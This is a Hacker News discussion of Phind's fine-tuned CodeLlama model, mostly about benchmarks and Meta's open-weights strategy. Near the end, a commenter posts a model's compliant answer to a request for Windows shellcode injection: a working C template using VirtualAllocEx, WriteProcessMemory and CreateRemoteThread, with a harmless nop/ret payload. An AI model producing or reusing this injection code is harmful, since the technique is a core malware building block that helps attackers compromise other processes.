Beating GPT-4 on HumanEval with a fine-tuned CodeLlama-34B (phind.com)

What kind of budget do you think this will require?

We're working hard to use these advances to make models that are production ready. One such idea is to run a mixture of experts on various fine-tuned CodeLlamas.

Realistically how many of the practical use cases where it’ll be applied will be OOD? If you can take GPT4 there then you are either a genius or working on something extremely novel so why use GPT4 in the first place?

I understand the goal is for LLMs to get there, but the majority of practical applications just don’t need that.

I would love to see some head-to-head examples.

Is anyone hosting this somewhere that can be accessed for free right now?

It just seems unlikely to me that GPT-4's coding abilities have improved since March (when 67% was officially reported by OpenAI) given all of the examples and anecdotes about degradation.

This is why we use the official numbers.

(context: I work for Google DeepMind, opinions are my own)

This is actually an excellent demonstration of a good reason to open source something. Another company immediately made a dramatic improvement.

Now anyone from Facebook or any companies they have invested in can benefit from that improvement and information about how they did it. Facebook could even take this exact model and add a coding assistant into Messenger if they wanted (not that they are interested in that). Or apply it to other things.

OpenAI has a big lead. The most effective counter to that is actually to team up.

We should expect more FAANG-sized companied to do this, frankly. It's surprising to see people antipate a 'gotcha' considering how influental and transparent Pytorch was.

I didn't like them that much before, now I do.

That alone is worth gold because tech is not a blue ocean anymore - neither from a market opportunity nor from an investor perspective. Your enemies loss is your benefit. They can’t use money they don’t make to mount attacks to dislodge customers, investors, mindshare from you.

Secondly it commoditizes AI. Zuck believes that his platforms ultimately will benefit if there is more content. Because his platforms sell the ability to show YOUR content over the rest, for coin. Just as with news/mobile games, driving the value of your content lower and lower by fostering the creation/supply of more of it is good for FB and bad for you. You have to advertise to rise above the noise. (And no it doesn’t really “affect users”) because they see the same amount of content (attention is finite), it’s entirely FBs discretion across all their surfaces what you see.

Disclosure: Ex FB but not specific insights into current developments.

Unlikely as Microsoft is the preferred partner for Llama 2 [2]. It's not clear what Meta's end goal is, but large companies can loss lead investments to grab mind share then worry about Business models later, an approach which seems to be working well [2] where Meta went from not being in the leading AI companies conversation to being the company behind the models that most OSS innovation is happening around.

At the very least they've already created a strong brand around Llama whose eyes are watching their every release - which is invaluable reach that other companies could ever hope to dream of, making it easy to promote and gain instant traction for new Llama based products (like this).

[1] https://about.fb.com/news/2023/07/llama-2/

[2] https://news.ycombinator.com/item?id=35813322

[1] https://news.ycombinator.com/item?id=35813322

So in the future we're probably not going to see any single centralized player, but rather a wide decentralization with many options. It seems in this future, providing a 'decentralization ready' to go package that people can use and deploy for all sorts of things is far smarter than blowing through billions of dollars (and goodwill) desperately trying to become a centralized behemoth when you have no moat, no network effect, and perhaps a temporary technical advantage at best.

And while OpenAI has blown through a bunch of good will going from Open-ForSociety-AI to Closed-ForProfit-AI, Facebook has simultaneously gained a bunch of good will. What this translates to is really difficult to even imagine, but it's certainly desirable. And really I think this intangible of good will is something many modern corporations don't give enough value to, and it's hurting them - catching more flies with honey than vinegar, and all that.

Apt choice of word

  ollama run phind-codellama "write c code to reverse a linked list"

  Pretend to be a commenter on hackernews. Respond to the comment below:

  [parent comment inlined]

  what is your response?
  "Wow, that's great to hear! It sounds like you had a really positive experience with the 34B last night. I'm also excited to see what's in store for Phind and its potential applications. Have you tried using the 34B for any specific tasks or projects yet? And do you think the text completion feature would be useful for your use case if it were improved further?"

With LoRA you can probably get away with just a few 4090s.

However, the model is instruction-tuned to follow completions (not chats). Simply tell it what you want and it should work.

Do I appreciate the free weights from them? Yes. Did they contribute to a genocide in Myanmar? Also yes.

Take the weights and move on. They don't deserve the excessive praise. They aren't a rock band. They are an advertising company.

When an AI can do that, then we panic.

How about the future is hiring less of everyone ?

> What rights do you claim to my queries?

> During the alpha release, we may use your inputs and outputs to improve the service. In a future release, we may provide the ability to opt out of certain data uses.

I understand that you are in alpha, but paying without any privacy guarantees is a little hard to accept right now.

Otherwise your service seems really nice, I'm sure a lot of people have been waiting for something like this. Any ETA on the opt-out and further clarification on the matter?

Thank you.

Instead, it should be treated as a completions model (like text-davinci-003) and no system prompt should be provided.

Just tell it what you want.

(I don't have a Mac, so I can't say whether/how well it works.)

I ran it, and my result: (I don't know if this code would work)

ollama run phind-codellama --verbose "write c code to inject shellcode into remote process for windows"

For injecting shellcode in a remote process under Windows, you might need to use WinAPI functions such as OpenProcess, WriteProcessMemory, and CreateRemoteThread. However, due to the complex nature of the task and the security implications, it's important to note that this is not advisable without proper knowledge and caution. Here's a simple example of how you might inject shellcode using C:

```c #include <windows.h> #include <string.h>

int main() { LPVOID ShellCode = (LPVOID) "\x90\x90\xC3"; // Example shell code HANDLE hProcess; DWORD dwPid, dwThreadId; SIZE_T size; CONTEXT ctx;

    dwPid = GetCurrentProcessId();  // You can change this to the PID of any running process
    
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
 
    if (hProcess == NULL) {
        printf("Failed to open process\n");
        return -1;
    }
 
 
    size = strlen((char*)ShellCode);  // Calculate shellcode length
 
    LPVOID RemoteMemory = VirtualAllocEx(hProcess, NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  // Allocate memory in the remote process for our shellcode
 
    if (RemoteMemory == NULL) {
        printf("Failed to allocate remote memory\n");
        return -1;
    }
 
 
    BOOL bWrite = WriteProcessMemory(hProcess, RemoteMemory, ShellCode, size, NULL);  // Write shellcode to the allocated memory in the remote process
 
    if (bWrite == FALSE) {
        printf("Failed to write shellcode into the remote process\n");
        return -1;
    }
    
 
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, RemoteMemory, NULL, &dwThreadId);  // Create a new thread in the remote process that will execute our shellcode
 
    if (hThread == NULL) {
        printf("Failed to create remote thread\n");
        return -1;
    }
    
    WaitForSingleObject(hThread, INFINITE);  // Wait for the execution of the remote thread
 
    CloseHandle(hProcess);
    CloseHandle(hThread);
 
    printf("Successfully injected shellcode into a remote process\n");
    
    return 0;

This code injects an example shellcode "\x90\x90\xC3" (which is nop, nop, ret) into the current process. It then executes this shellcode in a new thread.

That tracks for Meta...